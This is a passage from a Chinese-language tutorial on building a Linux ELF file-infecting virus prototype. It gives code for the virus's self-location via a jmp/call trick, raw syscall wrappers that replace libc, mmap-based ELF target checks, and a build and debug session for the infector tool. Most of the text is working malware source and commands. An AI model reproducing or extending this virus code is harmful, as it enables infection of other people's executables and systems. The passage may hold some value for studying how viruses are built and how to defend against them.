6 通过C语言和inline保证病毒代码的可读性和可移植性
用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差，这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是C语言，只有极少部分由于C语言本身的
限制而不得不使用gcc嵌入汇编。对于C语言部分，也尽量是用inline函数，保证代码
层次分明，保证可读性。
7 病毒代码复制时如何获得自己的起始地址？
虽然，病毒代码部分向ELF Infector提供了代码的起始地址，保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址，因为它的代码位置已经受到了宿主的影响，这时它需要重新
定位自己的起始位置。
在写这个病毒原型时，我并没有参考过其它病毒的代码，因此这里采用的也许并
不是一个最好的方法：
/* Get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
... /* c代码 */
...
__asm__ volatile (
...
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);
通过缓冲区溢出中的一个技巧，jmp/call组合来得到push $0xAABBCCDD指令的地址。
这个地址是0xAABBCCDD地址向后一个push指令，而0xAABBCCDD的地址就是那个用于
存放病毒代码返回地址的地址，这个地址相对于病毒代码起始地址的偏移我们是知道
的，就是病毒代码函数向ELF Infector接口提供的那个宏定义的值：
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
这样病毒代码在当前宿主中的位置就可以得到了（注意从汇编指令出来后，
para_code_start_addr中存放的是0xAABBCCDD的地址，我们减去偏移再减
一个push指令的长度，就是病毒代码的起始地址）:
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
8 抛弃C库
由于病毒代码要能在不同的ELF文件内容工作，所以我们必须要保证所有的相关函数
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点，即使有的C库函
数是可以完全内联的（完全内联就是说，这个函数本身可以内联，同时其内部没有向
外的函数调用），但是随着编译环境的不同，这点也是不能得到根本保证的，因此我
们有必要选择抛弃C库。
没有了C库，我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有
两种情况，一种是系统调用，另一种是普通的函数。
对于系统调用，我们采用了重新包装的方法：
static inline
g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline
g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline
g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline
g_syscall1(int, close, int, fd);
static inline
g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline
g_syscall2(int, munmap, void *, addr, size_t, len);
static inline
g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline
g_syscall2(int, fstat, int, filedes, struct stat *, buf);
并且修改了syscall包装的宏定义，如
#define g__syscall_return(type, res) do { if ((unsigned long)(res) >= (unsigned long)(-125)) { res = -1; } return (type) (res); } while (0)
#define g_syscall0(type,name) type g_##name(void) { long __res; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_##name)); g__syscall_return(type,__res); }
对于普通的函数，直接复制一份函数定义：
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
"rep ; movsl\n\t"
"testb $2,%b4\n\t"
"je 1f\n\t"
"movsw\n"
"1:\ttestb $1,%b4\n\t"
"je 2f\n\t"
"movsb\n"
"2:"
: "=&c" (d0), "=&D" (d1), "=&S" (d2)
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
: "memory");
return (to);
}
9 保证病毒代码的瘦身需要
为了保证病毒代码体积不至于过于庞大，影响病毒代码的感染，编写代码时也要注意
代码体积问题。由于采用C代码的方式，一些函数调用都是内联的方式，因此每多一个
调用都会引起代码体积的增加。
在进行ELF文件读写更是如此，read/write被频繁的调用。为了减小这方面的影响，对
目标ELF文件进行了一个mmap处理，这样地址空间直接被映射到文件，就消除了读目标
文件时所要做的read调用，节省了一些空间：
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}
当前的代码都是用C编写，这样很难象汇编代码那样进行更高程度的精简，不过目前的
代码体积还在合理的范围，
在调试状态和标准状态分别是1744和1248
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
10 数据结构的不一致
与C库的代码调用类似，我们使用的头文件中有一些数据类型的定义是经过
包装的，与系统调用中使用的并不相同。代码相关的两个数据结构，单独提取了出来。
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
五、 新编译环境下的调试方法 grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
调整Makefile文件，将编译模式改为调试模式，即关掉-DNDEBUG选项
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先获取病毒代码长度，然后调整gvirus.c中的#define PARACODE_LENGTH定义
grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
Parasite code length: 1744
获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~
